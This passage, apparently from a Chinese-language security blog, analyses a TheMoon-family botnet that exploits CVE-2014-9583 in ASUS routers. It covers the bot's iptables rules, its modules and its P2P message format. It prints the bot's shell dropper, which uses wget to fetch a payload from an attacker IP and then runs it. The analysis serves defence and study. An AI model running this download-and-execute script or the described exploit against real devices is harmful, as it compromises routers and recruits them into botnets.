僵尸網絡是指采用一種或多種傳播手段,是指實現惡意控制功能的程序代碼,在控制者和被感染主機之間所形成的一個可一對多控制的網絡。
下圖是利用wireshark抓包捕獲的僵尸程序攻擊流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代碼。
CVE-2014-9583 :ASUS WRT是華碩(ASUS)公司的一個路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,該漏洞源于程序沒有正確檢查請求的MAC地址。遠程攻擊者可通過向UDP 9999端口發送NET_CMD_ID_MANU_CMD數據包利用該漏洞繞過身份驗證,執行任意命令。詳情參見GitHub
以下是bot從網站http://78.128.92.137:80/ 自動下載的nmlt1.sh文件內容
#!/bin/sh
cd /tmp
rm -f .nttpd
wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1
chmod +x .nttpd
./.nttpd
路由器將會從攻擊者控制的網站上自動下載并執行.nttpd文件,.nttpd運行后將成為駐留進程。以下為.nttpd文件哈希信息
該bot程序屬于TheMoon惡意軟件系列,程序結構如下:
該bot程序主要不同在于os_init和 run_modules函數,os_init中插入了8個iptables規則:
為了獲得感染設備的絕對控制權,防止反復感染,其中第一條規則通過關閉端口9999,阻止其它攻擊者利用華碩CVE-2014-9583漏洞;第二條規則是關閉多個端口,阻止其它攻擊者利用D-Link的一個遠程命令執行漏洞。其余為bot程序建立的網絡通信規則。
在run_modules中,bot加載了3個模塊:CLK 、NET、DWL,我們依次來做分析:
CLK模塊
該模塊加載了兩個線程,一個用來計時,一個用來同步,它通過查詢公開NTP服務器保持UTC時間。抓包發現bot與NTP服務器之間的請求回應流量
Net模塊
該模塊開啟了UDP 5143端口,并創建了一個P2P通信線程。值得注意的是,與通常的端口通信不同,該bot程序支持3種不特定的消息類型。
Register message
RegisterTo message
FetchCommand message
每種類型都包含相同的頭結構:
Offset Size Description
0 1 Body length
1 1 Message Type
2 1 TTL
3 1 0x8F (variant specific)
當bot接收到消息時,TTL值以1遞減,并把消息轉發給其它對等結點(peer),下圖為向其它peer節點轉發消息的底層代碼
新聞熱點
疑難解答